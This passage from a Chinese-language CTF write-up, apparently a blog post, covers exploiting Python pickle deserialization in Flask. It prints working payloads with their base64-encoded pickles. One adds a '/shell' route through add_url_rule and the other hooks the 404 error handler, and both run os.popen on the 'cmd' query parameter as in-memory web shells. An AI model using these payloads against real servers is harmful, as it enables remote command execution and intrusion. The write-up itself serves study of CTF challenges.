        code = "url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})"
        return (eval, (code,))

pickle.dumps(A())
print(base64.b64encode(pickle.dumps(A())).decode())

#gASVPAEAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlFgdAQAAdXJsX2Zvci5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ2V2YWwnXSgiYXBwLmFkZF91cmxfcnVsZSgnL3NoZWxsJywgJ3NoZWxsJywgbGFtYmRhIDpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKF9yZXF1ZXN0X2N0eF9zdGFjay50b3AucmVxdWVzdC5hcmdzLmdldCgnY21kJywgJ3dob2FtaScpKS5yZWFkKCkpIix7J19yZXF1ZXN0X2N0eF9zdGFjayc6dXJsX2Zvci5fX2dsb2JhbHNfX1snX3JlcXVlc3RfY3R4X3N0YWNrJ10sJ2FwcCc6dXJsX2Zvci5fX2dsb2JhbHNfX1snY3VycmVudF9hcHAnXX0plIWUUpQu

然后就被waf了

后来得知新版flask已经不支持add_url_rule添加路由了,那岂不是我的武器库都失效了。

经学习有通过errorhandler钩子函数的内存马,之后补充在内存马篇里

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))


#gASV2wAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIy/Z2xvYmFsIGV4Y19jbGFzcztnbG9iYWwgY29kZTtleGNfY2xhc3MsIGNvZGUgPSBhcHAuX2dldF9leGNfY2xhc3NfYW5kX2NvZGUoNDA0KTthcHAuZXJyb3JfaGFuZGxlcl9zcGVjW05vbmVdW2NvZGVdW2V4Y19jbGFzc10gPSBsYW1iZGEgYTpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKHJlcXVlc3QuYXJncy5nZXQoJ2NtZCcpKS5yZWFkKCmUhZRSlC4=

image-20250724111939546

小结

最后剩下三道题目没做,都是比较难的题目了,这里还是先放一放。感慨一下后面的题目很有质量,写的都感觉得去补一下基础了。决定去ctfhshow写一下反序列化和nodejs。然后内存马也补充学习了,学到了很多。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计